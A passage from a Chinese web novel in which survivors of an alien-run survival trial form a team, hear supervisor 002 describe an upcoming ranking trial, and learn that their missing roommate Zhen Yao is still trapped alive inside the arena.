天仰跟系统又了解了一些事项后,拉开门,直接返回到宿舍。 迷糊了一会儿,摸到自己的床,倒头便睡下。 —— 天仰是被无数道系统音吵醒的。 【编号003幸存者桦烙请求进入您的宿舍】 【编号003幸存者桦烙请求进入您的宿舍】 【编号003幸存者桦烙请求进入您的宿舍】 【编号003幸存者桦烙对您发起语音通话】 【编号003幸存者桦烙对您发起视频通话】 【编号003幸存者桦烙给您留言】 ...... 天仰有一丝暴躁,半睁开眼睛:“系统,以后我睡觉的时候自动屏蔽所有消息。” 【好的,已更改系统设置】 天仰又躺了一会儿,才慢慢爬起来,打开了门。 宿舍门口是桦烙背对着他蹲在地上,跟自己的系统说:“统统,帮我增加留言数量,就刚才那一封再复制个...emmmm,一百封好了,然后发过去。” 天仰静静地听着桦烙bb完,才一巴掌扫到他头上。 桦烙被这一巴掌吓了一大跳,猛地蹦起来。发现是天仰出来了,高兴得嘴巴跟个机关枪一样:“天仰你终于出来了,哎嘿嘿,你知道吗我发现这个系统超好玩的,就是戴耳朵上的那个什么环,哎你应该也有吧......” “还有还有,我跟知秋住你隔壁嘿嘿嘿,他们说我们和你是室友,就把隔壁让给我们了,反正都是编号也没差,他们更想要后面一点......” “对了对了,我发现这个幸存者日常生活中心超好玩的,里面还有一家餐厅,看起来超好吃的......” 天仰捏了捏隐隐作痛的太阳穴,问道:“知秋呢?” “他啊,跟其他幸存者去说什么事去了,我就先来找你,免得你等我们太久太无聊了,而且而且我们身上的伤都好了哦,虽然那个监察生的治疗方法久了点,但过程完全不痛哎,而且好得超快......” 天仰:“......” 他突然不知道该说什么。 看样子桦烙还不知道臻耀的事情。 “知秋他们在哪?”天仰打算先找到林知秋,这样桦烙应该就找到发生了什么事,或许能够消停点。 桦烙:“在那个什么会议室。” 会议室。 林知秋和剩下的幸存者讨论得十分激烈,毕竟在场的就他一个比较有头脑,他的想法很多,把大事先说出来了。 这时系统突然弹出一条消息: 【编号001幸存者天仰和编号003幸存者桦烙请求进入会议室】 林知秋想都没想就放他们进来了。 天仰进来之后先环顾了一下四周,数了一下人头,加上他大概有十个左右。 “天仰。”林知秋见到天仰表情有些激动。 天仰:“怎么了?” “臻耀他......” “我知道,我已经教训过她们了。” “好......” 在场人都有些愤慨,他们大部分都是臻耀顺手一把救出来的,要不是臻耀,他们怎么可能活到现在。对于这件事他们的想法很一致,等出去后一定会去找那几个贪生怕死的女生。 只有桦烙一个人很懵逼:“发生了什么?” 林知秋知道桦烙一开始就晕了过去,基本上都是臻耀背的,而且是臻耀在最后一刻把桦烙推了出来,不然...... 林知秋的表情看上去十分落寂。 他没说话,其他人就不停地发言。 直到桦烙弄清楚发生了什么事,眼眶已经红了,根本说不出话来。 这么久过去了,连臻耀的影子都没看到,他早该明白发生了什么,他竟然还没心没肺了那么久...... 天仰拍了拍他的肩膀,没有说话。 就在这时,系统集体播报了一条通知: 【编号002监管者请求进入会议室】 在场人:??? 天仰:“让他进来吧,我们这么多人,也不怕他对我们干什么。” 林知秋犹豫了一阵,还是答应了。 “哟呼,大家好,我是002。”002满怀着笑意走了进来。 除了天仰站在原来的地方,其他人都往后缩了缩。 “大家不要那么拘谨,我今天是来给你们开一个简短的会,知道你们人全部集中在这里,就干脆过来了。” 002笑眯眯地说着,似乎是想表现得有亲和力一点,发现效果甚微后,直接开始了今天的主题。 “在座的幸存者一共十个人,之后也可能会有所增加。所以呢,在所有专业考验完后,剩下的幸存者会举行一场分级考验。大家都有编号的对吧,到时候的考验,你们的所作所为决定了你们的等级,等级越高当然奖励也会越丰富,比如拿到什么复活人的道具,或者出去让你们看看家人。毕竟地球上的生存考验不止你们学校,全球各地都在进行着。” 此话一出,在场人更加沉默了。 “而到时候呢,分完等级后,我们会给你们指定长官,去做各种任务,表现好的还有可能被分配到外面去。而现在,我暂时是你们编号001到010的长官。” 创建队伍 “本来呢,你们的长官应该是001,但他公务繁忙,由我暂时替代。反正也是临时的,到时候还要分等级呢。”002说得很轻松的样子。 002说完之后意味深长地看了所有人一眼。 有人发问:“这个分级考验会有生命危险吗?” 002回答:“当然不会了,你们都是幸存者,本来人就少了,怎么可能还让你们出事。遇到生命危险会第一时间把你们传送回来的,当然啦,这样做的话等级很低哦。” 天仰一针见血地问道:“那举办生存考验的意义是什么,就是为了给我们分类吗?这样做有什么意义?” 002听到这样的问题,表情看上去不太好:“你们难道没有发现,地球已经被你们人类搞得翻天覆地,正在垂死挣扎了吗。我们修复了地球,却发现根本无法拯救,按照规定,我们是来给人类惩罚的。让人类感受到地球被毁坏后的样子,从中活下来的人当然赢得了活下来的权利。” 天仰内心毫无波澜地听完了所有的话。 “还有哦,你们有什么事可以随时来找我。在分级考验之前,我希望你们好好去训练一下。”002又恢复了一副笑嘻嘻的模样,见没人再说话,很识趣地先走了。 002走之后的会议室仍静悄悄。 直到林知秋在天仰的示意下,站了起来:“大家也都听见了刚刚监管者所说的话,现在我们十个人是一个班的,我认为在所有专业结束前,去提升一下自己的实力。” “第三层有很多间训练室。”天仰提示道。 “所以大家不要抱着侥幸的心里,接下来也要努力生存下去,不要再出现无畏的牺牲了......”林知秋说道最后一句时表情有些暗淡。 周围人都没什么意见,毕竟在座的实力都有目共睹,很多人都是在臻耀的帮助下活下来的,当然不希望再发生什么,所以林知秋这番话他们听得很认真。 林知秋想了想,应该在十个人中选一个小队长什么的,维持秩序,或许以后人多起来会有什么用处。他看向了天仰,后者轻轻摇了摇头,似乎早已猜测到他在想什么。 天仰不愿意当这个领头人。 林知秋也知道,天仰在外人面前十分内敛,能不说话就不说话,就算他是第一个幸存下来的人,也不代表他想当领头人。 于是,他说道:“我们现在也是一个集体了,十个人凑成一个小队。既然都是从一个班出来的,我想应该有一个队长的职位,大家有什么意见吗?” 林知秋原来在班上学习成绩大家都有目共睹,现在站出来大家当然也没有什么意见,毕竟他们只是想活下去,谁来当都一样,只是希望能够有脑子一点的。 下面马上就有人附和:“我觉得可以啊,天仰当队长,你可以当军师,为我们出谋划策哈哈哈......” 天仰是第一个幸存者,在绝大部分人眼里都很强,所以大家心里早就把天仰当成第一领导人了。 林知秋也猜得到大家心里的想法,就算自己真的当上了队长,有些人也不一定会认可他,更何况以后要招纳更多的人进来,天仰就是最好的招牌。 天仰没有任何表示。 林知秋用眼神询问他,天仰回了一个无所谓的眼神给他。 毕竟当上队长后,正在管的人也不是他,他只是挂着个名号而已。 “那好,尊重大家的意见,天仰是我们的队长,我是副队长,接下来我会给大家制定严格的训练计划,请大家一定要认真完成。”林知秋随着大家的意见,既然天仰没什么问题,他也没事。 “副队,我们是不是应该给队伍取个名字什么的?” “副队副队,我看到系统里有一个队伍创建我们可以在上面创建一个。” “那以后就有越来越多的人来加入我们了。” 林知秋对他们这些建议都还不错,便转身问天仰:“你想取什么名字?” “都行吧,没差。”反正我也不用管...... 天仰当然没敢把那句话说出来,毕竟按林知秋这负责任的性子,估计出去了能打死他。 “那就......”林知秋沉思了一阵:“Tian吧。” 对于队伍名字,大家都没什么意见,纷纷催促天仰赶紧建个队伍他们好加入。 天仰召唤了一下系统。 【下午好,幸存者001】 天仰:创建队伍。 【好的,请稍等......】 【幸存者队伍创建中......】 【幸存者队伍创建完成,请编辑队伍名称】 天仰:Tian。 【好的,幸存者队伍Tian创建成功】 队伍刚创建好,天仰便收到了一堆入队申请。 【编号002幸存者林知秋请求加入幸存者队伍Tian】 【编号003幸存者桦烙请求加入幸存者队伍Tian】 【编号004幸存者......请求加入幸存者队伍Tian】 【编号005幸存者......请求加入幸存者队伍Tian】 ...... 十条申请涌了出来。 天仰在无数条申请中找到林知秋,迅速把他拉进来,设置他为副队长,并开通了一半的队伍权限给他。 完全不想管这么多事...... 做完这些事,林知秋看起来还要说什么,天仰就先行一步告退,他实在懒得把精力消耗在这里。 他看了看在角落里低沉的桦烙,见对方还沉浸在悲伤之中,便和林知秋点点头,便出去了。 天仰站在会议室门口,掏出手机看了看时间,已经是晚上七点多了。这个点去找沈郢也聊不了多久,看了看沈郢发来的消息,没有太大的事情,倒不如明天再去。 想了想他还是会宿舍继续补觉好了。 “你在这。” 一个低沉的男声在耳边响起。 天仰收起手机,抬头看向突然出现在他旁边的降赐。 降赐:“我们聊聊?” 天仰也没什么意见,便同意了。 201。 天仰有些局促不安地坐在沙发上,手里捧着一杯热奶茶。他目不转睛地盯着眼前的茶几,生怕一扭头又看到或听到什么奇奇怪怪的东西。 降赐从房间里换了一身常服出来,他刚刚开完会就赶过来了。 天仰表情僵硬地看了他一眼,没有说话。 降赐看他的表情也猜得出他在想什么,于是也没有过多地铺垫直接解释道:“放心吧,这间房子里现在就我们两个人,不用那么拘谨。上次是个意外,以后他们不会随便来我的房子。他们平时都是来我这里打游戏的,我的房子很大,有三层,很多东西都有,是上级配备的,我平时也用不到,他们就来这打游戏。” 天仰继续用奇怪的眼神瞟了降赐一眼,仍不说话,手里的奶茶也不敢动。 降赐关注着天仰的表情:“如果你介意,以后我就都不让人进来了。” 天仰有些奇怪地瞟着他。 你跟我说这些有什么用...... “对了,听说你刚刚创建了一个幸存者队伍。”降赐岔开话题。 天仰难得开了口解释道:“挂了个名号罢了。” “以后你若是想扩大势力我可以帮你,我们这里有一些监察生还是不错的,还没有队伍。” 天仰顿了顿:“不用。” “以后用得上我的地方我会尽力帮助你。”降赐看起来很认真:“还有,你的天赋是幻想力,我给你的那个道具很适合你用,你可以好好养一养,等分级考验时,对你的帮助会很大。” 天仰点点头,就算降赐不说,他也知道这些道具很珍贵。 “现在上级对你们地球人的意见还是很大,给你们的道具不一定很好,所以,在你变强之前,尽可能不要招惹其他的监管者。” “你。”天仰犹豫了一下,还是问道:“你为什么一直帮助我?” 降赐的眸子突然深邃起来,似乎陷入了什么情绪中,过了很久才开口,声音已经有些微微嘶哑:“那是过去的事了,你应该是不记得了,等你变强之后,我会慢慢告诉你的。现在,我们这个身份,很多事情都不能明说......” 果然有什么事是他不知道的。 天仰观察着降赐的表情,确定这是真实的不作假的情绪,才稍稍信了一点。 两人又闲聊了一会儿,天仰才回去休息。 ...... 经过这一次闲聊后,两人的关系变得没那么拘束。 至少在日后见面,天仰已经能直视降赐了。 休息一晚后,天仰边洗漱边用手机联系沈郢,打算待会就去找他,听说明天就轮到他们专业了。 天仰洗漱一番后,带了一些之前考验用剩的道具,看了看有点少,决定去隔壁找林知秋问问有没有什么不用的道具之类的。 林知秋一听是要给沈郢的,便从行李箱里挖出一大堆奇奇怪怪的东西,还特地收拾了个包出来。 天仰默默接过,有些被震惊到,好像明白了当时他们为什么那么自信满满地进去了。 谢过林知秋后,天仰在一层随便抓了个监察生刷脸出去。 再次传送到寝室楼前,天仰马上去了操场,在满操场上找沈郢。 终于在几个班之后,看到了沈郢所在的班级,便匆匆赶过去。 随着越来越多的专业进入生存考验,存活下来的人也越来越少,就算是好不容易活着出来的人,也可能因为支撑不到救护队的到来,而死亡。 想进去陪沈郢 天仰和沈郢会和后,去问了旁边的监察生能不能带沈郢出去单独说说话,监察生没有制止,他们就去了个没有人的小角落。 安静的教学楼楼梯口。 天仰把准备的所有道具一股脑地塞给沈郢,又把其中几个道具的用法告诉他,教他怎么藏,以及哪里适合躲。 沈郢一字不漏地听着,生怕自己错过了什么有用的信息。 把大致有用的信息告诉沈郢后,天仰还是担心沈郢,想到了自己的两个特殊道具,一瞬间豁然开朗了很多。 一把从脖子上拽下一颗血红色的珠子,珠子散发着微弱的光芒,隐隐有不寻常的气息环绕其中。 “这是一个保命道具,关键时候能抵一次生命。”天仰将血垒珠挂在了沈郢的脖子前,小心翼翼地把它塞进衣服里,仔细遮掩住,免得被人发现。 沈郢的表情突然严肃起来:“你一个新人,就算是第一个幸存者,怎么可能奖励这么好的道具。” 天仰也没想过要瞒他,反正迟早都会知道的:“确实不是奖励的,这个是监管者给我的。” “001?”沈郢一下子就道破:“你和他走得很近,第一天他就找过你了。” 天仰心中暗暗震惊沈郢调查他的事又那么快:“对。也不知道什么原因,我们现在还算不错,他也没有对我干什么。” 沈郢的眉头紧了几分:“他到底是个监管者,能不要走近就不要走近,001这个名号怎么说也是排在第一位的,多少有点手段和实力,你不要被他骗了。更何况他还不是地球人,很危险。” “啊好,好了好了我知道了,你别老担心我。幸存者日常生活中心很安全的,我希望你快点完成生存考验,早点进来。”天仰整天被念叨惯了,有些麻木不仁。 “我知道,但你也要小心,不能掉以轻心。” “知道了知道了,我到时候再想办法看看能不能混进去帮你。” “太危险的事不要去尝试,我自己会想办法出来的。” ...... 就在他们谈话谈到一半时,旁边突然走出来个冰蓝色长发的美男子,吸引了他们的目光。 沈郢警惕地看着这个人,总感觉哪里不对劲。 “哦?”川珩在看到他们后,停下了脚步,异常冷漠的眸子来了点兴趣:“这是你的男朋友吗?” 天仰顿时满头黑线,就知道这人有些奇奇怪怪,果然是个gay。 沈郢则是被他这句话给惊呆了,好半天说不出话来。 天仰解释道:“不是,他是我朋友。” “地球人都这么好看的吗。” 川珩细细地端详着沈郢,突然对沈郢说道:“既然不是男朋友,那么......帅哥,有没有兴趣留个联系方式。” 沈郢满脸大写的震惊:“?!!” 天仰:“......” 在天仰提沈郢拒绝后,川珩也没有多纠缠什么,直接走了。 过了好一会儿,沈郢仿佛才回过神来:“他是谁......” 天仰:“呃,当初治疗我的医生。” 沈郢猛地盯向天仰,脑海里一堆奇奇怪怪的场景浮现。 外星人都这么可怕的吗,那天仰住在那里岂不是......不行,我也赶紧通过生存考验。 天仰不知道沈郢又脑补了什么剧情。 他已经无力解释了。 天仰:“那差不多就这样了,等你通过我就来接你。” “好,不过还有个问题我想问问。”沈郢思来想去,发现漏了一件事:“成为幸存者之后还要做什么,或者说他们有什么目的?” 天仰回忆了一下002的话,总结道:“大概就是选拔优秀人才,分等级,然后帮他们做事。” 天仰没有把外面的世界同沈郢说,在这场生命考验前,他怕影响到沈郢的心态,导致接下来的考验很危险。 “好,我大概知道了。”沈郢是个聪明人,很多事天仰没有明说,他也知道这个时候还是不要多问为好,毕竟天仰有事不会瞒着他的。 “那你早点回去吧,多看看里面的环境。” “你也回去训练吧。” 两人告别后,川珩这个小插曲并没有影响到他们,不过沈郢私底下还是调查了一下这个奇怪的异界人,但也只打听到了这个人不是监管者,却位高权重,和001关系不菲。 天仰根本没有在意这件事,一回到房间就进入私人训练室,在里面训练了一整天,把无限形态盒用得熟能生巧,甚至把天赋又升到了82%。 除此之外,天仰让系统开启了第一场生存考验的模拟场地,在里面走了一遭回来,发现有无限形态盒再结合天赋幻想力,简直没什么可担心的。 于是,天仰便把目光放在了监察生考验的模拟场地,打算下次来试试。 模拟场地好的一点就是在遇到生命危险时可以随时喊停。 所以过的比第一场紧张兮兮的好太多了。 时间到了晚上八点。 明天是沈郢的生存考验,天仰不可能不去,于是便退出训练室,回宿舍洗了个热水澡。 天仰整个人浸在浴缸里,到处都是泡泡,感觉格外的放松。 在这么放松的环境下,他突然想起了件事情。 无限形态盒的事情不能让其他人知道,否则,能够变换出多种形态武器的道具谁不想要,到时候肯定会有人来抢。 天仰思考了一阵。 “要不还是只变换一种形态好了。” 这样做比较保险。 —— 一个晚上过去了。 天仰也一个晚上没睡好,很担心沈郢会出什么事,便整宿整宿翻来覆去无法入睡。 听到脑子后,脑子发蒙了一会儿,赶紧从床上爬起来。 洗漱完毕后,天仰出门时遇到了林知秋他们几个人。 整个队伍的人全到了,就连一脸精神不振的桦烙也在,表情看上去还有些许愤怒。 天仰看着这阵势,疑惑地问道:“你们这是要干什么?” 林知秋解释道,他们打算今天去找那几个女生算账,好不容易等最后一个人的伤养好了,于是一窝蜂地想去复仇。 于是天仰跟着他们在一层拦下了一个监察生。 在天仰的带头下,一个个站着排队等刷脸,监察生一脸麻木地看着他们,似乎有些被无语到的情绪。 被传送到寝室楼下后,天仰和他们告别,便去找沈郢了。 天仰来得早,专业队伍来的人三三两两,还没齐,不过沈郢也早来了。 两人打了个招呼,聊了一会儿,一副没什么大事的样子,实则让沈郢保持心态。 毕竟在没有进去以前,无论在外面怎么看,都不及里面的可怕。 天仰目光在薄膜前搜寻了一阵,发现今天恰好是降赐在值班,边打算去碰碰运气。 沈郢也没拦他,他私底下也希望天仰能够进来陪他,哪怕只是观战也行。 天仰径直走到001面前,感觉自己这样很像在找关系一样。犹豫了一会,开口:“那个......” 降赐的目光马上被天仰吸引过来:“怎么了。” “呃......”话到嘴边,天仰有点说不出来,但为了沈郢,他还是不要脸了一把:“待会儿那场考验我能不能进去陪同,就算不攻击怪物也行,让我进去就好了。” 降赐低头看了一会儿天仰,随即抬头张仰了一会儿,在人群中确定了沈郢也在往这边看。内心有一股玩欲涌起,便一手放在了天仰的头上,从沈郢那个角度看上去很亲密的样子。 实际上,在察觉到降赐的动作后,天仰有些疑惑地看着他。 降赐顺手从他头顶拿起一个轻飘飘的棉花絮。 在看见沈郢对他的误会更加明显的时候,他突然背过身,拉着天仰去了一个沈郢看不到的地方。 “你刚刚问的问题,我得请示一下上级,你在这里等我一下。” “好。” 降赐转了个身便消失了。 天仰内心惴惴不安,他很想进去陪沈郢,但从规则上来说,这是不允许的。 过了一会儿,降赐回来了,有些抱歉地说:“这件事,上级还是不能同意的。” “......” 天仰在心里叹了一口气。 他突然想去给沈郢上柱香拜一拜,就像高考前沈郢他妈妈那样做一样,求个平安什么的。 在得知这件事不行后,天仰便回去找沈郢了。 才发现他们已经排队要进去了。 沈郢看到天仰失落的表情就知道是怎么回事了,递给天仰一个眼神,让他别担心。 又是一道广播后,降赐出现在了薄膜前,缓缓打开入口,一个个登记名字进去,确定没有多一个或少一个后便关闭了入口。 天仰看着沈郢进入薄膜,内心有些煎熬。好在他现在是幸存者,可以到处跑来跑去不受管制,也就可以在薄膜附近走来走去,只要沈郢出现在哪,他就马上跑过去。 降赐看着这一幕有一丝不爽,但又说不出来自己哪里不对劲。 进入薄膜后的沈郢,遵照天仰给的指示,直直向里走去,却在忽然一瞥薄膜形成的墙后愣住了。 这边,天仰跟随者沈郢到了林子深处,却看到沈郢有一刻对上了他的目光,并且悄无声息地递了个眼神。 凭借多年的友情,天仰第一时间反应过来。 沈郢看得到外面! 沈郢终于出现在视野里 天仰继续保持原来的样子,不让人察觉,悄悄地为沈郢引路,甚至借助趴在薄膜上近距离观看来掩饰自己给沈郢指路的动作。 虽然不知道这是怎么一回事,但天仰还是马上利用这一点,跟沈郢进行交流。 这让他莫名想到,之前沈郢的声音能够穿破薄膜,甚至能够进入薄膜内,而自己却不行的事情。当时没觉得哪里不对,可现在,天仰觉得这件事并不简单。 在天仰的帮助下,沈郢成功找到了之前天仰躲避的洞口,马上藏了进去。好在这一路上沈郢运气爆棚几乎没有遇到什么大型的怪,道具都省着,等到时候出口开了的时候还能救自己一命。 天仰也在附近瞎转悠,搜索到洞的出口后,便在那里等待着结束。 在场的同学也没有觉得哪里不对,他们见到死人已经麻木了,根本没有看现场的欲望。 除了降赐总感觉哪里有些不对劲以外,就没谁一直盯着这场生存考验了。 在距离结束还有最后五分钟时,降赐才宣布开启出口。 一直在洞的入口等待的沈郢很快地爬出来,往薄膜外一瞥时,却没有发现天仰。 而天仰则在洞出口焦急等待了一会儿,还是没看到沈郢。 他不会是走错头了吧...... 天仰确实没有介绍这个洞里的情况,看来沈郢是真的走反了。 在这里等待也是无用功,天仰还是决定去出口接沈郢。 降赐盯着天仰绕了几圈又回到了出口处,站在他旁边安静地等待。垂眸看了他几眼,便移开目光。 对他真是越来越好奇了,得赶快弄清楚那件事才行。 天仰惴惴不安地站在原地,希望沈郢没有他的指引能够自己走出来。 这场下来,能够出现在出口的人寥寥无几,几乎在出口开放的时候仅仅走出个两三人,却又因为看到出口过于兴奋没有在意周围环境,便被奇怪的生物给拖走了。 大概距离结束还有两分钟的时候。 沈郢终于出现在视野里,他拖着一身触目惊心的血迹,一路走来,脚步不紧不慢,似乎没有受到身上的伤口所影响,甚至还有力气把突然出现的小型生物推开。在看到出口处的天仰时,他终于露出了一个笑容。当然,仅仅只是对着天仰的。 正当天仰松了一口气时,旁边人突然传来一声:“他笑得真好看。” 天仰面部表情抽搐了一下,随即立刻辨别出这是谁的声音。 川珩不知什么时候站在了天仰的旁边,眼神带着些许痴迷,和他这高贵冷艳的外表一点也不相同。 天仰顿时觉得眼睛要瞎了。 而降赐早已见怪不怪。 “这个人归我治疗,我在诊疗室等他。”川珩对降赐撂下这一句话便走了。 天仰:“......”也不知道沈郢会不会同意。 大概率不会吧。 沈郢慢慢悠悠地踩着最后一分钟走到了出口,在场的两个幸存者都没有他这么云淡风轻,一到出口便失去了意识。只有沈郢在出了出口,看到天仰时,才一副我快不行了的样子跌进天仰的怀抱中。 天仰看着沈郢身上的血迹,又加上他的行为,莫名感觉到一丝做作是怎么回事...... 沈郢借机靠近天仰的耳朵:“我没事,带我去你房间。” 然后带着一丢丢嘚瑟的表情看了降赐一眼。 只可惜降赐上来就是让救护队的人把沈郢拖走。 天仰慌忙劝阻,直接把沈郢摁压在胸前,动也不让人动。反正又不是第一次抱沈郢了,知道这人格外的轻,便直接一个横抱给抱走了。路上见到闲着的监察生,便过去刷脸,顺便说了一下沈郢是新的幸存者。 监察生便开了权限,让沈郢也进去。 幸存者日常生活中心。 301。 天仰把看起来奄奄一息的沈郢抱回宿舍,刚关上门,沈郢就跳了下来,四处溜溜,活泼到不行。 “......”天仰有些呆滞:“你身上的血是怎么回事。” 沈郢不在意地挥挥手:“一点事也没有,你衣服先给我一套,我先洗个澡再跟你讲,血味太重了。” “行吧。” 看着沈郢活泼乱跳的样子,天仰也没有再说什么,把浴巾和找好的衣服放盆里给他,便在外面等着。 莫名感觉这样的日子很悠闲是怎么回事...... 突然想养只动物什么的...... 要不养只猫好了...... 沈郢洗完澡出来的时候,天仰正在考虑要不要去学校里找一只流浪猫抱回来养什么的。 “天仰,你在想什么。”沈郢在天仰面前挥了挥。 天仰在缓过神来,没头没脑地来了一句:“我想养猫。” “猫?” 沈郢已经不是第一次被天仰的脑回路给惊到了,于是就这这个问题想了一下:“可以啊,你以前不是也很喜欢猫,学校里流浪猫应该挺多的,下次去看看。” “好。” 等到两个人的心终于回到了这场生存考验上,天仰:“这场下来加上你只有三个人幸存下来。” “嗯。”沈郢对这个结果似乎没有太大的意外,端起放在桌上的热茶吹了吹:“跟你说说我在里面发生的一件事吧。” “好。” “我在里面看到了你寝室的那个室友。”沈郢把吹了一会儿的茶递给天仰。 天仰的表情有些微微触动。 臻耀还活着...... “就在你说的那个洞里,不过他......”沈郢停顿了一下,似乎找不到形容词:“他还活着,但是他说他出不来。” “什么意思?”天仰平复了一下心情。 “字面上的意思。”沈郢推了推鼻梁上的眼镜:“我进去的时候,往里面走了一会儿,突然就被他给袭击了。还好我及时躲过去,不过他其实已经快不行了,强撑着一口气,认出是我之后便倒在地上。不过没死,我看了看他的身上都是血,就把能用的药都给他了,应该能坚持一段时间。” “所以你身上的血都是他的?” “对。我扶着他去墙壁上靠着,给他上药时蹭的。我身上只有一点点刮伤,没有大问题。” “没事就好。” “那我接着说,他跟我说,出口关了以后,里面的生物都跟疯了一样追杀剩下的人,他一路跑到了那个洞里,身上的伤太多,他曾经试着下一场考验出去过,但他出不去。被一种特殊的东西挡住,出不去。所以他一直藏在那个洞里,哪里都去不了。” “......”也不知道这是好消息还是坏消息,天仰沉默了,准备去找林知秋他们商量一下,毕竟臻耀还活着,他们就不能见死不救。 沈郢看了眼时间,惊讶道:“这么晚了,我饿了,去吃饭吧。” 天仰点点头,知道沈郢一饿就受不了:“先去一楼给你认证一下,再去吃饭,不然很多地方你去不了。冰箱上面有一些零食,你先垫一下,我去换套衣服。” 刚才抱着沈郢,天仰的衣服上也沾了不少血,这样走出去多少有点奇怪,便也换下了。 认证完毕后,天仰带着沈郢来到露天餐厅。 能活下来的都是有实力的人,异界人自然不会亏待他们,不仅宿舍是单人的,第三层还涵盖了许多很多神奇的娱乐设施和训练室,甚至餐厅都是高级餐厅,露天顶楼,燕尾服侍者,圆桌白布,红酒佳肴,顶级厨师。一一配备整齐,更好的是,这些还不用钱,对幸存者来说,全部都是免费的。 像沈郢这样的资深吃货,鼻子瞬间就能感觉出这里的与众不同,选定桌子坐下后,他连点了十几页的菜,才舍不得地把菜单放了下来。 天仰已经一脸麻木,看着那个菜单几乎被点了一半的页数,感觉这一场饭又要吃好久。 果然,燕尾服侍者动作迅速地端了一盘盘佳肴上来,圆桌马上被填满了,甚至还对他们说了一句:“等先生们用完这一桌,再上下一桌。” 天仰慢吞吞地吃着,看着沈郢风卷残云地扫完了几盘菜,哪怕看了那么多年还是被震惊到了。 才不到十分钟,整整一大桌的菜就被沈郢吃完了,而天仰还在第一盘的炒饭中挣扎。沈郢看着天仰磨磨唧唧地还在吃饭,默默地拿了过来,一口便干掉了一大碗,朝着侍者扬扬手:“下一桌!” 天仰已经不知道用什么心情形容自己了。 等到终于吃完这一顿饭,天仰才跟沈郢聊起一件不算很大的大事。 “我创建了一个队伍,你要不要加入,我是队长,不过所有事情都是林知秋在管,他是副队长。” “哪个队伍,我现在就加。” 作为一个幸存者,沈郢当然也拿到了便携空间环。 “Tian,第一个应该是,目前好像就一个队伍。” “好。” 吃过晚饭后,天仰把沈郢送回了他的房间。 313。 “离你有点远。”沈郢嫌弃地说道。 天仰还没跟沈郢细说接下来幸存者的事情,打算明天看看有空再说,他现在得去找林知秋说一下臻耀的事情。 和沈郢互道晚安后,天仰便匆匆去找林知秋。 这个点他应该还在看书。 没错吧这数值 敲开302的门,林知秋有些意外地把天仰迎进来。 天仰看着桌上的一份份数据,林知秋兴奋地解释道:“我把队里每个人的天赋技能什么的都登记了一遍,其中几个人在测试能力的时候,攻击力还不错,有些人的天赋数值都快接近70%了......我们队里的人才还是不错的,哦对了,沈郢也加入了,明天带他去测试一下天赋......” 天仰点点头,听着沈郢叭叭了好一会儿,感觉自从臻耀走了以后林知秋和桦烙的性子对调了,往常林知秋话也不至于这么多,自打当了副队长以后整天忙得跟陀螺一样。 “对了天仰,你的天赋是什么,数值多少了?”林知秋兴奋过后才想起这件事,赶紧拿起小本本准备登记。 天仰随口道:“天赋幻想力,82%。” “天赋幻想力,听起来好像不是很符合你的人设......”林知秋迅速登记着:“数值......82%,嗯?等等,82?!!卧槽天仰你还是个人吗?没错吧这数值?” 天仰对林知秋这个表现毫不意外,淡淡地嗯了一声。 林知秋还沉浸在疯狂的卧槽中。 “好了,我不是来跟你说这个的。”天仰出声打断了林知秋的卧槽:“有个很严肃的事情我要跟你说一下。” “啊好,你说你说。”林知秋才赶紧回过神来,能让天仰严肃起来的事情可绝对不是什么小事。 “臻耀他还活着。” 光是这一句信息量已经大到林知秋合不上嘴。 “他,他在哪?”林知秋极力克制住自己的激动。 “还在生存考验的场地中。” 天仰的这句话又把林知秋打回现实。 就凭那个薄膜就能阻挡住他们,哪怕他们所有人都发动自己的天赋技能,在监管者面前也毫无胜算,更何况这件事不一定所有人都愿意参加,哪怕被臻耀救过,冒着死亡的危险,没人愿意再经历一次生死。 “沈郢跟我说,他躲在我说的那个洞里时,在里面遇到了臻耀,勉强还活 着。受了很多的伤,沈郢就把药都给他了,应该能撑一段时间。所以,想想办法,这几天内得把臻耀带出来,不然......” 天仰说的话林知秋都懂,但能号召的人实在不多,更何况怎么进去都是个问题,更别说还要瞒过监管者的视线。 简直,不可能成功。 林知秋沉默了很久。 天仰也没有再多说什么。 救和不救,取决于他们。 “我先走了,你也别太忙着队里的事了,好好增强自己的实力就好了。”天仰掩上门,留下林知秋一个人思考。 确实,林知秋一直为了这个队忙前忙后,可付出不一定有回报,毕竟那么多人,他们的愿望只是想活下去,而林知秋牺牲自己训练的时间帮其他人增强实力,大部分人只会选择感激。 人心不齐。 这是个很严重的问题。 所以,天仰不愿意去管队伍的事,而是全盘脱手给林知秋去做。林知秋有想法,有担当,也有点实力,可以让这个队伍变得更好,是个很不错的领导人。 但他不行,他对这些事没有兴趣。 301。 天仰洗完澡躺在床上之后有点睡不着,脑子里是刚才想到那些事情。 不知道什么时候他变成了这样,对很多事情提不起兴趣,包括这场灾难。 他只觉得活下去就好了,其他人跟他没有关系,除了沈郢,和寝室的那几个人。 脑海里不由得浮现出一个身影。 监管者001。 他在人群里总是那么显眼,一眼就能认出他是监管者,而不是什么普通的监察生。 不知道为什么,天仰总感觉这个人对他而言来说很特殊。 跟对沈郢的感觉不一样,这个人更像是在很久以前就认识一样,知道他想要什么,无时无刻不提供帮助。 已经超出了监管者和人类之间的关系。 “唉,睡吧,想那么多干什么呢……” 天仰自嘲地笑笑:“反正我也只是个没人要的人。” 他曾经的那个家,早已被一场灾难给毁灭了。 —— 天仰睁开眼睛的时候已经是中午十二点多了。 他轻轻挪动着被压麻的手臂,从床头柜上取下手机。 这是系统发来了一些消息。 其中一个是沈郢发来的,叫他中午一起去吃饭。 不过天仰没有回,后来沈郢又发来了一条:你还在睡吗?我太饿了,我先去吃饭了,你要是醒了就来餐厅吧,我应该还在吃。 天仰感觉了一下自己的胃,好像也不是很饿,没有想吃东西的欲望,于是就给沈郢回了一条:你吃完就回去吧,我不是很饿。 就在天仰正打算看下一条消息时,沈郢迅速给他回了一条:不吃东西怎么行?我给你打包一份过去。 天仰:“……” 突然有点怀念沈郢还没来的时候。 亲近到他都想养猫了。 另一条是林知秋发来的:中午我带沈郢去测试一下他的天赋,你要不要一起去? 天仰犹豫了一会儿,想了想自己好像也没有别的什么事,就答应了。 剩下的消息是队伍里一些七七八八的琐事,天仰就没兴趣看了。 起床洗漱,换衣服,烧开水。 沈郢来的时候刚好开门。 “我说你怎么又不吃饭了,难道我没住在这边的时候你就从来不吃早饭?这怎么能行呢连早餐午餐都不吃。早餐那么好吃的东西……”沈郢絮絮叨叨地提着一大袋打包好的食物进来。 天仰听着有一丝头大。 沈郢宛如一个老妈子。 